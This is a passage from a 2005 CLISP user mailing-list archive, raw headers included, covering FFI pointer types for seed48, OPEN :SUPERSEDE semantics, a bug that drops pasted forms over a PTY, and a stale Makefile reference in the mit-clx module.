SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -1.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: SWIG - comment on automatic argument conversion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 18 22:20:39 2005 X-Original-Date: Mon, 18 Jul 2005 22:17:49 -0700 "Hoehle, Joerg-Cyril" writes: > Surendra Singhi wrote: > > How do you deal with seed48()? > stdlib.h says: > extern unsigned short int *seed48 (unsigned short int __seed16v[3]) __THROW; > > I mean, be careful about the difference between known array dimensions within struct definitions and function parameters! > > More precisely, within struct you need the (c-array x dim), within a function you need an extra c-ptr around it. Thanks Jörg, I fixed that. > > modules/bindings/glibc/linux.lisp contains: > (def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3)))) > (:return-type (c-ptr (c-array ushort 3)) :none)) If I understand correctly the difference between c-ptr and c-pointer is that, c-ptr converts the foreign pointer to a Lisp structure, so if I want to pass the foreign pointer again, I should use c-pointer, but if I don't have to pass the foreign pointer and I want to use it as a lisp structure I should use c-ptr. Is that correct? Is there any rule which can help in automatically deciding when one should c-ptr or c-pointer ? Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From Devon@Jovi.Net Tue Jul 19 08:26:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dutys-00014B-UY for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 08:26:02 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dutyr-0005WU-FS for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 08:26:02 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6JFPbA3094968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Jul 2005 11:25:37 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6JFPUbe094710; Tue, 19 Jul 2005 11:25:30 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507191525.j6JFPUbe094710@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Pascal Bourguignon cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 18 Jul 2005 15:51:12 -0400) Subject: Re: [clisp-list] Re: how to supersede a file? References: <20050716185251.3334310FBF3@thalassa.informatimago.com> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 19 Jul 2005 11:25:44 -0400 (EDT) X-Spam-Score: -2.2 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.7 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 19 08:31:49 2005 X-Original-Date: Tue, 19 Jul 2005 11:25:30 -0400 (EDT) I too wish those OPEN options :IF-EXISTS :SUPERSEDE and :NEW-VERSION would act lispy yet both CLISP and CMUCL seem to O_TRUNC instead, violating the spirit but not the letter of the spec which allows infinite latitude. Would you prefer a new OPEN option or a new global hook or feature? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From sds@gnu.org Tue Jul 19 09:05:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Duuas-00035B-Jh for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 09:05:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1Duuao-0005U5-EV for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 09:05:18 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6JG4amL022051; Tue, 19 Jul 2005 12:04:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507191525.j6JFPUbe094710@grant.org> (Devon Sean McCullough's message of "Tue, 19 Jul 2005 11:25:30 -0400 (EDT)") References: <20050716185251.3334310FBF3@thalassa.informatimago.com> <200507191525.j6JFPUbe094710@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.5 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: how to supersede a file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 19 09:07:32 2005 X-Original-Date: Tue, 19 Jul 2005 12:03:57 -0400 > * Devon Sean McCullough [2005-07-19 11:25:30 -0400]: > > I too wish those OPEN options :IF-EXISTS :SUPERSEDE and :NEW-VERSION > would act lispy yet both CLISP and CMUCL seem to O_TRUNC instead, > violating the spirit but not the letter of the spec which allows > infinite latitude. > Would you prefer a new OPEN option or a new global hook or feature? we need a patch to OPEN. note that it will require adding a hook to CLOSE (which will probably use the :ABORT option). would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running w2k Who is General Failure and why is he reading my hard disk? From Devon@Jovi.Net Tue Jul 19 09:44:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DuvDC-00059i-3n for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 09:44:54 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DuvDA-0007N6-Pe for clisp-list@lists.sourceforge.net; Tue, 19 Jul 2005 09:44:54 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6JGiWrw012748 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 19 Jul 2005 12:44:32 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6JGiVJR012744; Tue, 19 Jul 2005 12:44:31 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507191644.j6JGiVJR012744@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon@Jovi.Net To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 19 Jul 2005 12:03:57 -0400) Subject: Re: [clisp-list] Re: how to supersede a file? References: <20050716185251.3334310FBF3@thalassa.informatimago.com> <200507191525.j6JFPUbe094710@grant.org> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, NO_REAL_NAME autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 19 Jul 2005 12:44:38 -0400 (EDT) X-Spam-Score: -1.2 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 19 09:51:14 2005 X-Original-Date: Tue, 19 Jul 2005 12:44:31 -0400 (EDT) I am already hacking new stream and file functionality. This may take a while as I have limited free time. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From mkb@incubus.de Wed Jul 20 16:46:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvOGh-0006rO-Oz for clisp-list@lists.sourceforge.net; Wed, 20 Jul 2005 16:46:27 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DvOGh-000587-Cw for clisp-list@lists.sourceforge.net; Wed, 20 Jul 2005 16:46:27 -0700 Received: from drjekyll.mkbuelow.net (p54AAAAD9.dip0.t-ipconnect.de [84.170.170.217]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id B859B32E46 for ; Thu, 21 Jul 2005 01:49:10 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6KNkNGL044756 for ; Thu, 21 Jul 2005 01:46:23 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507202346.j6KNkNGL044756@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 20 16:47:33 2005 X-Original-Date: Thu, 21 Jul 2005 01:46:23 +0200 Hi folks, I encountered what looks to be a rather curious bug. When I try to paste the following text into clisp: --------------------snip-------------------- (defparameter *a* 1) (defparameter *b* 2) (defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) --------------------snap-------------------- the second form apparently gets "swallowed": --------------------snip-------------------- [1]> (defparameter *a* 1) (defparameter *b* 2) (defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) (defparameter *b* 2) *A*(defparameter *c* 3) (defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [2]> (defparameter *c* 3) *C*(defparameter *d* 4) (defparameter *e* 5) (defparameter *f* 6) [3]> (defparameter *d* 4) *D*(defparameter *e* 5) (defparameter *f* 6) [4]> (defparameter *e* 5) *E*(defparameter *f* 6) [5]> (defparameter *f* 6) *F* [6]> *a* 1 [7]> *c* 3 [8]> *b* *** - EVAL: variable *B* has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for *B*. USE-VALUE :R2 You may input a value to be used instead of *B*. Break 1 [9]> --------------------snap-------------------- This can be observed by pasting between xterms. The same happens when inside (X)Emacs, I use C-c C-r for sending a region to an inferior-lisp buffer running clisp. If a file containing the text is (load)ed into clisp, all is fine. If I put an empty line between the forms (or at least between the first and the second), it works aswell. It doesn't matter if I run clisp as "clisp" or "clisp -I". I'm using clisp on FreeBSD 5.4-STABLE/i386. The problem manifests itself both with clisp installed via the ports mechanism, aswell as with a "vanilla" manual build. Version info: GNU CLISP 2.33.2 (2004-06-02) (built 3330883802) (memory 3330883904) Software: GNU C 3.4.2 [FreeBSD] 20040728 ANSI C program Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: I386 (I386) drjekyll.mkbuelow.net [192.168.0.1] Thanks. mkb. From Devon@Jovi.Net Wed Jul 20 21:47:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvSxr-0004QF-Jr for clisp-list@lists.sourceforge.net; Wed, 20 Jul 2005 21:47:19 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DvSxq-0002Vr-At for clisp-list@lists.sourceforge.net; Wed, 20 Jul 2005 21:47:19 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6L4knGx029955 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 00:46:51 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6L4kZLE029629; Thu, 21 Jul 2005 00:46:35 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507210446.j6L4kZLE029629@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Matthias Buelow CC: clisp-list@lists.sourceforge.net In-reply-to: <200507202346.j6KNkNGL044756@drjekyll.mkbuelow.net> (message from Matthias Buelow on Thu, 21 Jul 2005 01:46:23 +0200) Subject: Re: [clisp-list] bug with pasting forms into clisp References: <200507202346.j6KNkNGL044756@drjekyll.mkbuelow.net> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Thu, 21 Jul 2005 00:46:57 -0400 (EDT) X-Spam-Score: -2.1 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.7 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 20 21:48:32 2005 X-Original-Date: Thu, 21 Jul 2005 00:46:35 -0400 (EDT) Pipe input seems solid but PTY input drops lines in CLISP. Both work fine in CMUCL. Ah, streams. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From marko.kocic@gmail.com Thu Jul 21 00:58:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvVxD-0004IB-No for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 00:58:51 -0700 Received: from zproxy.gmail.com ([64.233.162.200]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DvVxC-00018M-Pn for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 00:58:52 -0700 Received: by zproxy.gmail.com with SMTP id j2so80918nzf for ; Thu, 21 Jul 2005 00:58:42 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=FdT1PshgEp7fPwfOr+fRM7l1Q+v28f3G+Ig0Jd50lyJ0k/5+VqSVXFCWfopKV4/ctPEnZghmAj/nHNuIcBzp9SOru62DdRS12gcv2DR2lp4dW9SbSzJPfRWza6jvr5Dxn7GNB26uMgcKyJtTLkcTFHXA5Jk8Rt/VjLp/+C0ztnY= Received: by 10.36.247.30 with SMTP id u30mr716640nzh; Thu, 21 Jul 2005 00:58:15 -0700 (PDT) Received: by 10.36.97.6 with HTTP; Thu, 21 Jul 2005 00:58:15 -0700 (PDT) Message-ID: <9238e8de05072100581a2afc0d@mail.gmail.com> From: Marko Kocic Reply-To: Marko Kocic To: list-clisp Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: -1.4 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Win32 binary Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 01:00:30 2005 X-Original-Date: Thu, 21 Jul 2005 09:58:15 +0200 Hi all, I see that 2.34 has been released. However, I can find only rpm and source distributions. When will win32 binary be available for download. I tried building it with mingw, but with no success. Thanks, Marko From dmellis@gmail.com Thu Jul 21 04:08:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvYur-0005AD-JA for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 04:08:37 -0700 Received: from rproxy.gmail.com ([64.233.170.207]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DvYuq-0008OK-78 for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 04:08:37 -0700 Received: by rproxy.gmail.com with SMTP id a41so195660rng for ; Thu, 21 Jul 2005 04:08:35 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=q7th/EIUezsc4+cdqklC0YCIji84Bb/yuaHpNkYe9SISSBDqa571dEjC8IAUFOD0uLUY3hyIRbf21U1H+JPdEGgdbiRnbZplN83zkSHkU81bOExjFUw45H6EZu77m1P2+WD39wXnbvp3zx+IHdcix6S0iFKvK8kdjB/jyLD/MKw= Received: by 10.38.86.57 with SMTP id j57mr1370446rnb; Thu, 21 Jul 2005 04:08:09 -0700 (PDT) Received: by 10.38.9.63 with HTTP; Thu, 21 Jul 2005 04:08:09 -0700 (PDT) Message-ID: From: "David A. Mellis" Reply-To: dam@mellis.org To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: -1.3 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] split-sequence.lisp not removed from mit-clx Makefile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 04:09:51 2005 X-Original-Date: Thu, 21 Jul 2005 13:08:09 +0200 It seems that split-sequence.lisp was removed from the clx/mit-clx module but references to it remain in the Makefile and link.sh. Should they be removed? I tried building clisp 2.34 from source on Mac OS X 10.4, with: ./configure --prefix=3D/usr/local --with-module=3Dclx/mit-clx --with-libreadline-prefix=3D/sw --build build-dir and got the following error: make[1]: *** No rule to make target `split-sequence.lisp', needed by `stamp.fas'. Stop. make: *** [clx/mit-clx] Error 2 From sds@gnu.org Thu Jul 21 08:42:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvdBU-0008HH-6j for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 08:42:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DvdBR-0001wR-RY for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 08:42:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6LFfsYc017313; Thu, 21 Jul 2005 11:41:54 -0400 (EDT) To: clisp-list@lists.sourceforge.net, dam@mellis.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (David A. Mellis's message of "Thu, 21 Jul 2005 13:08:09 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, dam@mellis.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: split-sequence.lisp not removed from mit-clx Makefile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 08:45:01 2005 X-Original-Date: Thu, 21 Jul 2005 11:41:16 -0400 > * David A. Mellis [2005-07-21 13:08:09 +0200]: > > It seems that split-sequence.lisp was removed from the > clx/mit-clx module but references to it remain in the Makefile > and link.sh. Should they be removed? yes, thanks for your bug report. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From mkb@incubus.de Thu Jul 21 08:51:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvdKB-0000Fy-Kx for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 08:51:03 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DvdK9-00069Y-GD for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 08:51:03 -0700 Received: from drjekyll.mkbuelow.net (p54AAB49A.dip0.t-ipconnect.de [84.170.180.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id BA5B12EADA; Thu, 21 Jul 2005 17:53:41 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6LFotSx001198; Thu, 21 Jul 2005 17:50:56 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507211550.j6LFotSx001198@drjekyll.mkbuelow.net> From: Matthias Buelow To: Devon Sean McCullough Cc: Matthias Buelow , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug with pasting forms into clisp In-Reply-To: Message from Devon Sean McCullough of "Thu, 21 Jul 2005 00:46:35 EDT." <200507210446.j6L4kZLE029629@grant.org> X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 21 08:52:43 2005 X-Original-Date: Thu, 21 Jul 2005 17:50:55 +0200 Devon Sean McCullough writes: >Pipe input seems solid but PTY input drops lines in CLISP. Hmm true, piping the lines into clisp works. >Both work fine in CMUCL. Cmucl (and sbcl) currently does nothing but segfault here (can't cope with increased data/seg-size limits in the kernel :-/). mkb. From sds@gnu.org Thu Jul 21 09:15:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DvdiA-0001J0-3N for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 09:15:50 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dvdhb-0000xu-3c for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 09:15:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1DvdhW-0000uH-6V for clisp-list@lists.sourceforge.net; Thu, 21 Jul 2005 09:15:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6LGEnNA021863; Thu, 21 Jul 2005 12:14:50 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Matthias Buelow Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200507202346.j6KNkNGL044756@drjekyll.mkbuelow.net> (Matthias Buelow's message of "Thu, 21 Jul 2005 01:46:23 +0200") References: <200507202346.j6KNkNGL044756@drjekyll.mkbuelow.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Matthias Buelow Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain 